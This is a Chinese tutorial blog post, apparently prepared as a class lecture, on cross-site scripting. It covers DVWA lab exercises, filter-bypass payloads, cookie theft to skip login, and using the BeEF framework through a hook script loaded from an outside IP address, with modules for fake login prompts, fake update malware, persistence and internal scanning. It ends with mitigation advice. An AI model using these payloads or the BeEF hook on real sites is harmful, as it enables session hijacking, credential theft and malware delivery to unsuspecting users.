首發地址:我的個人博客
前言
本文章產生的緣由是因爲專業老師,讓我給本專業的同學講一哈SQL注入和XSS入門,爲了備課,於是產生了這篇文章。
一、課程目標
聽完這節課你能學到些什麼👇
- 知道什麼是Xss
- 實現最基礎的Xss
- 學會使用Beef Xss工具
- 瞭解一些Web安全基本知識
二、初識XSS
1 什麼是XSS攻擊
• XSS(Cross Site Script),跨站腳本攻擊,OWASP Top10之一
• 向網頁內嵌入惡意Java script代碼
2 XSS分類
• 反射型 -- 前端->後端->前端
• 存儲型 -- 前端->後端->數據庫->前端
• DOM型 -- 前端
3 XSS常用攻擊手段
- 竊取網頁瀏覽中的cookie值
當能夠竊取到用戶 Cookie 從而獲取到用戶身份時,攻擊者可以獲取到用戶對網站的操作權限,從而查看用戶隱私信息。
- 釣魚欺騙:
最典型的就是利用目標網站的反射型跨站腳本漏洞將目標網站重定向到釣魚網站,或者注入釣魚 JavaScript 以監控目標網站的表單輸入。
- 網站掛馬
跨站時利用 IFrame 嵌入隱藏的惡意網站或者將被攻擊者定向到惡意網站上,或者彈出惡意網站窗口等方式都可以進行掛馬攻擊。
- 垃圾信息發送
比如在 SNS 社區中,利用 XSS 漏洞借用被攻擊者的身份發送大量的垃圾信息給特定的目標羣。
- 劫持用戶 Web 行爲
一些高級的 XSS 攻擊甚至可以劫持用戶的 Web 行爲,監視用戶的瀏覽歷史,發送與接收的數據等等。
- XSS 蠕蟲
XSS 蠕蟲可以用來打廣告、刷流量、掛馬、惡作劇、破壞網上數據、實施 DDoS 攻擊等。
三、初試XSS
1 XSS初體驗
往DVWA靶場插入下方JS,會彈框
<script>alert("Hi!我是簡簡")</script>;
當然還可以嵌入HTML和CSS,但是用處不大
<img src=x onerror='alert("hey!")'>;
<h1>Hi!我是簡簡</h1><style>h1{color:pink; text-align:center}<style>
<img src='https://jwt1399.top/medias/avatar.png' width=200px;height:200px;/>
其他操作
#獲取cookie
<script>alert(document.cookie)</script>;
#頁面跳轉
<script>window.location.href="https://jwt1399.top";</script>
2 利用Xss獲取cookie並繞過登錄驗證
web服務所使用的HTTP服務是無狀態的。這就意味着,服務器無法分辨收到的請求是屬於哪一個用戶的,
需要通過cookie來對用戶的身份進行標識了,用戶每次對服務器發起請求時,都帶上自己獨有的cookie,服務器通過讀取cookie信息,識別用戶。
-
首先打開1號瀏覽器,輸入賬號和密碼登錄DVWA,然後獲取cookie
方法一:彈窗獲取
<script>alert(document.cookie)</script>;
方法二:抓包獲取
方法三:Beef獲取
然後打開2號路瀏覽器,進入到DVWA的login頁面,在該頁面利用cookie插件將cookie替換爲我們獲取到的1號瀏覽器的cookie,然後在URL欄中刪掉login.php再回車
最後就可以發現未用登陸賬號密碼就進入了頁面
值得注意的是:當對方進行正常logout後,再次使用該cookie是不能成功的。同時在進行替換後須在URL中進行稍許修改,因爲所屬的cookie不同於一個頁面。
四、BeEf-Xss
全稱是 The Browser Exploitation Framework. web框架攻擊平臺,專注於利用瀏覽器漏洞.BeEF是我見過的最好的xss利用框架,他同時能夠配合metasploit進一步滲透主機,強大的有些嚇人!!!
安裝
docker安裝
docker安裝得先配置docker環境
docker search beef
docker pull janes/beef #拉取beef鏡像
docker images
docker run --rm -p 3000:3000 janes/beef #映射到本機的3000端口
Ubuntu
#安裝依賴
sudo apt-get update
sudo apt-get install curl git
curl -sSL https://raw.githubusercontent.com/wayneeseguin/rvm/master/binscripts/rvm-installer | bash -s stable
source ~/.rvm/scripts/rvm
rvm install ruby-2.3.0
rvm use 2.3.0 --default
gem install bundle
#安裝beef
git clone git://github.com/beefproject/beef.git
cd beef
bundle install
ruby beef
Kali安裝
老版本的Kali自帶beef,但是新版的沒有
apt-get update
apt-get install beef-xss
#第一次啓動會讓你設個密碼(jwt),賬號爲beef #可以在config.yaml中修改
基礎使用
安裝好之後在瀏覽器訪問:ip:3000/ui/panel
默認用戶名和密碼都爲beef
默認hook js:http://ip:3000/hook.js
默認hook頁面: http://ip:3000/demos/basic.html //訪問即可被hook
往存在XSS漏洞的地方插入以下代碼
<script src='ip:3000/hook.js'></script>;
舉個例子🌰:往DVWA靶場插入xss代碼
<script src='http://139.224.112.182:3000/hook.js'></script>;
那麼在beef上可以看到被嵌入hook.js的瀏覽器已經上線了
然後你可以選擇各種攻擊模塊進行操作了
每個模塊前面的顏色代表着不同的意義
實用攻擊模塊
使用下面模塊的前提是你使用<script src='http://139.224.112.182:3000/hook.js'></script>;
控制了瀏覽器。
被控瀏覽器彈框
模塊:Browser--->Hooked Domain--->Create Alert Dialog
獲取cookie
模塊:Browser--->Hooked Domain--->Get Cookie
重定向
模塊:Browser--->Hooked Domain--->Redirect Browser
將當前頁面重定向至指定頁面,有可能導致當前權限丟失
Rediret Browser(iframe)模塊:將當前頁面重定向至指定頁面,同時保留當前連接,可以維持當前瀏覽器權限
方法:右側填寫木馬的路徑,可以配合插件升級攻擊
社工彈窗
模塊:Social Engineering ---> Pretty Theft
彈出一個登錄框,用戶輸入密碼點擊登錄之後,beef可以獲取到密碼
社會工程學攻擊
模塊:Social Engineering ---> Fake Flash Update
在社工這一欄,可以選擇flash更新這類功能來誘使用戶升級Flash,當用戶點擊之後,會下載我們的惡意文件執行,這樣我們就可以用c2(command&control)控制用戶的系統.
持久化
模塊:Persistence--->Create Foreground iFrame
使用之後,被控瀏覽器無論點擊哪裏,都無法跳轉到該系統到其他頁面
內網掃描
模塊:Network--->Port Scanner
Network用於收集內網信息,比如ping、端口掃描
注入隱藏的iframe框架
Misc --> Create Invisible Frame
其他模塊
Simple Hijacker模塊
劫持網頁上面的所有鏈接,當用戶點擊任意鏈接時彈出誘騙消息,如果用戶接着點擊會跳轉到指定域名
Clippy模塊
創建一個瀏覽器助手提示用戶點擊
TabNabbing模塊
當檢測用戶不在當前頁面時啓動定時器,倒計時結束後自動重定向至指定頁面
Clickjacking模塊
可以使用multi-click clickjacking,判斷當前用戶鼠標位置,在不同位置可觸發不同JS代碼如圖,鼠標後面跟隨一個iframe
Create Pop Under模塊
創建一個新窗口
Confirm Close Tab模塊
當用戶關閉當前頁面時,反覆彈出確認是否關閉頁面的消息
hook手機
由於手機打開網址持續的時間很短,關閉當前頁面後BeEF的shell就會下線,因此我們可以使用BeEF API,用戶上線後能夠自動執行批量命令,結合Persistence模塊能夠極大提高shell存活時間。除了與windows系統相關的信息無法獲取,其他操作均能成功執行,並且BeEF爲手機劫持提供了專門的模塊系列——Phonegap
1、彈框
2、重定向
3、查看是否訪問過某些網站
4、Creates an invisible iframe
5、Social Engineering系列,如下圖,僅作演示
6、msf系列
7、NetWork系列,可以用來掃描同一內網下的windows主機
五、修復建議
- 將用戶所提供的內容輸入輸出進行過濾。可以運用下面這些函數對出現XSS漏洞的參數進行過濾:
- PHP的htmlentities()或是htmlspecialchars()
- Python的cgi.escape()
- ASP的Server.HTMLEncode()
- ASP.NET的Server.HtmlEncode()或功能更強的Microsoft Anti-Cross Site Scripting Library
- Java的xssprotect(Open Source Library)
- Node.js的node-validator
六、XSS靶場
DVWA
Xss(reflected)-Low
點擊右下角的view source,查看源碼
分析:
arrary_key_exists()函數:判斷$_GET的值中是否存在“name”鍵名。並且$_GET[‘name’]的值是否不爲空,滿足這些條件,直接輸出下面的輸出語句。可以看到,代碼直接引用了name參數,並沒有任何的過濾與檢查,存在明顯的XSS漏洞。
payload:<script>alert('簡簡')</script>
Xss(reflected)-Medium
源碼:
分析:
這裏對輸入進行了過濾,基於黑名單的思想,使用str_replace函數將輸入中的<script>
轉化爲空。然後在將name值的結果輸出,這種防護機制是可以被輕鬆繞過的。
1.大小寫混淆繞過(str_replace()函數不太完美,因爲它區分大小寫)
Payload:<ScRipt>alert('簡簡')</script>
Payload:<SCRIPT>alert('簡簡')</SCRIPT>
2.雙寫繞過
Payload:<sc<script>ript>alert('簡簡')</script>
3.構造不使用<script>
標籤進行繞過
payload:<img src=1 onerror=alert('簡簡')>
解釋:<img ..>標籤是添加一個圖片,src是指定圖片的url,onerror是指定加載圖片時如果出現錯誤則要執行的事件,這裏我們的圖片url肯定是錯誤的,這個彈框事件也必定會執行
Xss(reflected)-High
源碼:
分析:
High級別的代碼同樣使用黑名單過濾輸入,preg_replace() 函數將包含<script的字符,不管大小寫,不管後面跟着1個或多個與之相同的字符都轉換爲空。用於正則表達式的搜索和替換,這使得雙寫繞過、大小寫混淆繞過(正則表達式中i表示不區分大小寫)不再有效。
Payload:<img src=1 onerror=alert('簡簡')>
XSS(Stored)-Low
相關函數介紹:
trim(string,charlist) 函數移除字符串兩側的空白字符或其他預定義字符,預定義字符包括\0、\t、\n、\x0B、\r以及空格,可選參數charlist支持添加額外需要刪除的字符。
mysqli_real_escape_string(string,connection) 函數會對字符串中的特殊符號(\x00,\n,\r,\,',",\x1a)進行轉義。
stripslashes(string) 函數刪除字符串中的反斜槓。
分析:
可以看到,對輸入並沒有做XSS方面的過濾與檢查,且存儲在數據庫中,因此這裏存在明顯的存儲型XSS漏洞。
Exploit
message欄的利用:
輸入<script>alert(/name/)</script>
,成功彈框:
<img src="https://i.loli.net/2020/04/03/kl6X5ZIAvjBWzT1.png"/>
name欄的利用:
發現前端html中對name有字數長度限制:
Burpsuite 抓包改爲<script>alert(/name/)</script>
點擊Bp中Forward 後,成功彈窗:
XSS(Stored)-Medium
strip_tags()函數剝去字符串中的HTML、XML以及PHP的標籤,但允許使用<b>標籤。
addslashes()函數返回在預定義字符(單引號、雙引號、反斜槓、NULL)之前添加反斜槓的字符串。
分析:
可以看到,由於對message參數使用了htmlspecialchars函數進行編碼,因此無法再通過message參數注入XSS代碼,但是對於name參數,只是簡單過濾了<script>
字符串,仍然存在存儲型的XSS。
Exploit
1.雙寫繞過
Burpsuite抓包改name參數爲:<sc<script>ript>alert(/name/)</script>
2.大小寫混淆繞過
Burpsuite抓包改name參數爲:<ScRipt>alert(/name/);</ScRipt>
<img src="https://i.loli.net/2020/04/03/7tVsywGdQLOuKDY.png" alt="image-20200403140456913" />
3.使用非 script 標籤的 xss payload:
eg:img標籤:
Burpsuite抓包改name參數爲:<img src=1 onerror=alert(/name/)>
其他標籤和利用還有很多很多….
以上抓包修改數據Forward後,均成功彈窗:
XSS(Stored)-High
分析:
這裏使用正則表達式過濾了<script>
標籤,但是卻忽略了img、iframe等其它危險的標籤,因此name參數依舊存在存儲型XSS。
Exploit
Burpsuite抓包改name參數爲<img src=1 onerror=alert(/name/)>
Forward後,成功彈窗: